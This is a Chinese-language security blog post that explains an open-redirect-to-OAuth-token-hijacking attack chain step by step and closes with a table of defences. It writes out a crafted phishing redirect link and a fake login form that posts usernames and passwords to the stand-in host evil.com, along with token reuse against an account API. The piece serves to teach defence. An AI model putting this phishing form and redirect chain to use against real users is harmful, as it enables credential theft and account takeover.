🎣 URL跳转 + OAuth Token 劫持攻击链详解
⚙️ 场景示例:
- 目标站点:
https://login.example.com
(支持 OAuth 授权) - 合作跳转域:
https://partner.example.com/login?next=...
(存在 URL 跳转漏洞) - 攻击者控制站:
https://evil.com
(钓鱼 + 收集令牌)
🧩 步骤详解
🧱 第 1 步:发现可利用跳转点
攻击者发现:
https://partner.example.com/login?next=https://evil.com/oauth-grabber
服务器未验证 next
参数是否为内部地址,导致任意跳转漏洞(Open Redirect)。
🎣 第 2 步:构造诱导链接并钓鱼
攻击者在社工邮件中嵌入链接:
点击重置密码:
https://partner.example.com/login?next=https://evil.com/oauth-grabber
用户以为自己在访问可信“example.com”登录页面,其实会被跳转到攻击者页面。
🕸 第 3 步:跳转并伪造 OAuth 授权页面
https://evil.com/oauth-grabber
页面伪装成 Legit OAuth 登录页:
<form action="https://evil.com/gettoken" method="POST">
<input name="username" placeholder="用户名">
<input name="password" type="password" placeholder="密码">
<button>登录</button>
</form>
或者伪造一个授权确认框,诱导用户点击“授权”。
🧪 第 4 步:用户提交认证,攻击者收集 Token
用户点击“登录”或“授权”后:
- 页面调用后端从
example.com
发起真实的 OAuth 请求; - 捕获
access_token
,回传给攻击者服务。
例如 token 被记录在日志中:
[+] Received OAuth token: abc1234xyz
🛠 第 5 步:攻击者利用 Token 操作用户账号
拿到 access_token
后,攻击者请求 API:
GET /api/account
Authorization: Bearer abc1234xyz
实现:
- 伪装身份进入用户账号
- 下载个人资料、订单、甚至发起转账操作
🔥 攻击链总结
[攻击者发送钓鱼链接]
↓
https://partner.example.com/login?next=https://evil.com
↓(Open Redirect)
[用户被重定向到伪造登录页]
↓
[输入凭证或点击“授权”]
↓
[攻击者服务器获取 access_token]
↓
[使用 token 冒充用户调用真实接口]
🧯 防御措施
风险点 | 防护措施 |
---|---|
URL 跳转 | ✅ 添加域名/路径白名单验证 |
OAuth 回调地址验证 | ✅ 严格绑定 redirect_uri,不能模糊匹配 |
用户授权提示 | ✅ 明确显示将跳转到哪个第三方 |
前端伪装钓鱼页面 | ✅ 浏览器 CSP / Referrer Policy |
Token 使用时长 & 范围 | ✅ 限定 token 生命周期与权限 |
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容